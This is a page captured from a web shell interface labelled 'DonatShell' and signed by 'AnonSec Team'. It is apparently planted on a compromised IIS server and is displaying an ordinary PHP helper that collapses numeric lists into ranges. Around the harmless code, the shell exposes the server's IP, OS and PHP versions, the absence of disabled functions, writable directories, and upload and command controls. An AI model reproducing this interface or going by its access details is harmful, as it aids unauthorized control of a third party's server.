DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.127
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/inc/str_remjump_numeric.php
<?
function str_remjump_numeric($wh,$sepper="-") {
	$t=explode($sepper,$wh);
	$t=array_unique($t);
	$t=arr_filter_remnull($t);
	$tmp=each($t);
	$tmp=$tmp[key];
	$res="$t[$tmp]";
	$expect=($t[$tmp]);
	unset($t[$tmp]);
	//reset($t);
	$lastrepeat="";
	foreach ($t as $key => $value) {
		if ($value>($expect+1)) {
			$res.="-".$lastrepeat.",".$value;
			$lastrepeat="";
		} elseif ($value>=$expect) {
			$lastrepeat=$value;
			//$res.="$sepper".$value;
		} else {
			//$res.="?".$value;
		}
		$expect=($value+1);
	}
	$res.="-".$lastrepeat;
	/*
	$min=floor(min($t));
	$max=ceil(max($t));
	echo $min.".".$max;
	for ($i=$min;$i<=$max;$i++) {
		$str=($i-2)."$sepper".($i-1)."$sepper".$i;
		$res=str_replace("$str","",$res);
	}*/
	$res=trim($res,$sepper);
	$res=trim($res,",");
	$res=trim($res,"-");
	$res=str_replace("-,",",",$res);
	return $res;
}
?>

Anon7 - 2022
AnonSec Team